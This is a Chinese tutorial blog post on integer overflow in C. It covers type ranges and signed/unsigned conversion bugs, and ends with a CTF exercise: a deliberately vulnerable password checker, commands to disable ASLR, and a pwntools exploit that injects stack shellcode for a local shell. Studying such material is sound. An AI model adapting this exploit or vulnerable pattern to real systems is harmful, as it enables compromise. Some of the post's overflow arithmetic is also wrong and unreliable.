整数溢出学习
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了整数溢出学习相关的知识,希望对你有一定的参考价值。
前言
开始整数溢出的学习,这部分相对来说很简单了。
原理
64位的gcc-5.4的类型及字节数如下:
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | 032767(00x7fff) -32768-1(0x80000xffff) |
unsigned short int | 2byte(word) | 065535(00xffff) |
int | 4byte(dword) | 02147483647(00x7fffffff) -2147483648-1(0x800000000xffffffff) |
unsigned int | 4byte(dword) | 04294967295(00xffffffff) |
long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
溢出
溢出指的是有符号数。这里以short举例,之后也都是。
上溢出是0x7fff+1=0x8fff
,由正变负。
下溢出时0x8000-1 = 0x7ffff
,由负变正。
回绕
对于无符号数来说是回绕,也是两种:
0xffff + 1 = 0x0000
0x0000 - 1 = 0xffff
漏洞场景
错误的类型转换
大范围转小范围
其实就是精度丢失了,导致的漏洞。而小范围转大范围则不会有这种问题。
有符号和无符号的转换
直接看wiki的例子了:
int main(void)
int len, l;
char buf[11];
scanf("%d", &len);
if (len < 10)
l = read(0, buf, len);
*(buf+l) = 0;
puts(buf);
else
printf("Please len < 10");
本来限制了输入的长度必须比10小,但是read函数:
ssize_t read(int fd, void * buf, size_t count);
size_t
是无符号的类型,这就导致了漏洞:
例题
这部分内容比较简单,直接以CTF-ALL-IN-One上的例子来结束吧:
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd)
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8)
printf("good!\\n");
strcpy(passwd_buf, passwd);
else
printf("bad!\\n");
int main(int argc, char *argv[])
if(argc != 2)
printf("error\\n");
return 0;
validate_passwd(argv[1]);
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack vuln.c -o vuln -m32
把地址随机化关闭来方便攻击。
因为passwd_len
是无符号的,存在一个截断,比如strlen的结果是0x104,那么passwd_len
得到的就是0x04,成功绕过。
接下来就是写shellcode到栈上面然后控制返回地址到shellcode上了。
EXP:
from pwn import *
from LibcSearcher import *
#context(log_level="debug",arch="i386",os="linux")
context(log_level="debug",os="linux")
ret_addr = 0xffffcef8+4+4+4
shellcode = asm(shellcraft.sh())
payload = flat([24*'a',ret_addr,'a'*4,shellcode,(0x104-72)*'a'])
p = process(argv=['./vuln',payload])
#p = gdb.debug(["./vuln",payload],"break validate_passwd")
p.recv()
p.interactive()
以上是关于整数溢出学习的主要内容,如果未能解决你的问题,请参考以下文章
有符号整数溢出:1111111111111111111 * 10 不能用“long long”类型表示